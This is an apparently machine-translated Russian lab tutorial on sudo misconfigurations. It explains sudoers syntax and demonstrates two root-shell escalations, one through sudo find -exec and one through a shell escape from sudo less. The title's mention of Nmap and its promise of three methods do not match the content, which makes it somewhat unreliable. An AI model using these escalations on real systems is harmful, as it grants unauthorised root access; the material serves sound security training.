Изучите методы повышения привилегий Sudo в Nmap

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом практическом занятии (лабораторной работе) вы узнаете о синтаксисе файла конфигурации sudo и попрактикуетесь в трех распространенных методах повышения привилегий с использованием уязвимостей или неправильной настройки sudo. Цель состоит в том, чтобы лучше понять, как использовать sudo для повышения привилегий во время пентеста (проверки на проникновение).


Skills Graph

Синтаксис файла конфигурации sudo

На этом этапе вы узнаете о синтаксисе файла /etc/sudoers, который используется для настройки привилегий sudo.

Файл /etc/sudoers используется для указания, какие пользователи или группы могут выполнять команды с повышенными привилегиями. Чтобы просмотреть и сохранить содержимое файла /etc/sudoers, выполните следующую команду:

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

Вывод должен быть похож на следующий:

## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root    ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges

Эта строка указывает, что пользователь root может выполнять любую команду от имени любого пользователя или группы на всех хостах.

Общий синтаксис записи в файле sudoers выглядит следующим образом:

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name: Пользователь или группа, к которым применяется правило.
  • host_list: Хост(ы), на которых правило применяется. Значение ALL означает все хосты.
  • run_as_user: Пользователь, чьи привилегии используются для выполнения команды. Значение ALL означает любого пользователя.
  • run_as_group: Группа, чьи привилегии используются для выполнения команды. Значение ALL означает любую группу.
  • command_list: Команда(ы), которые пользователь или группа имеют право выполнять.

Sudo позволяет повышать привилегии без ограничений аргументов

На этом этапе вы попрактикуетесь в повышении привилегий, используя неправильную настройку sudo, которая позволяет выполнять любые команды с повышенными привилегиями.

  1. Сначала откройте терминал и перейдите в каталог /home/labex/project.

    cd /home/labex/project
  2. Инициализируйте среду, выполнив следующую команду:

    ./env_setup_1.sh
  3. Теперь вы вошли в систему как пользователь user001.

    Используйте команду sudo -l для проверки своих привилегий sudo:

    sudo -l
    (root) NOPASSWD:/usr/bin/find

    Это означает, что вы можете выполнять команду find с привилегиями root без ввода пароля.

  4. Чтобы повысить привилегии, выполните:

    sudo find /home -exec /bin/bash \;

    Теперь у вас должен быть доступ к оболочке root.

  5. Создайте файл с именем success_1.txt в каталоге /root, чтобы убедиться, что у вас есть привилегии root:

    echo "success_1" | sudo tee /root/success_1.txt

    Проверьте файл, выполнив:

    cat /root/success_1.txt

    Вывод должен быть success_1.

Sudo позволяет повышать привилегии с использованием конкретных аргументов команды

На этом этапе вы попрактикуетесь в повышении привилегий, используя неправильную настройку sudo, которая позволяет выполнять определенные команды с повышенными привилегиями.

После предыдущего этапа вы по-прежнему вошли в систему как пользователь root. Чтобы продолжить этот этап, вам нужно закрыть текущий терминал и открыть новый.

  1. Сначала откройте терминал и перейдите в каталог /home/labex/project.

    cd /home/labex/project
  2. Инициализируйте среду, выполнив следующую команду:

    ./env_setup_2.sh
  3. Проверьте свои привилегии sudo с помощью команды sudo -l:

    sudo -l

    Ожидаемый вывод:

    (root) NOPASSWD: /bin/less /var/log/messages

    Это означает, что вы можете выполнять команду /bin/less /var/log/messages с привилегиями root без ввода пароля.

  4. Чтобы повысить привилегии, выполните:

    sudo less /var/log/messages

    После запуска программы less выполните:

    !/bin/bash

    Теперь у вас должен быть доступ к оболочке root.

  5. Создайте файл с именем success_2.txt в каталоге /root, чтобы убедиться, что у вас есть привилегии root:

    echo "success_2" | sudo tee /root/success_2.txt

    Проверьте файл, выполнив:

    cat /root/success_2.txt

    Вывод должен быть success_2.

Итог

В этом практическом занятии (лабораторной работе) вы узнали о синтаксисе файла /etc/sudoers и о том, как настраивать привилегии sudo. Вы также попрактиковались в трех распространенных методах повышения привилегий с использованием неправильной настройки или уязвимостей sudo. Понимая, как использовать sudo для повышения привилегий, вы сможете лучше оценивать и минимизировать потенциальные риски безопасности в системах Linux.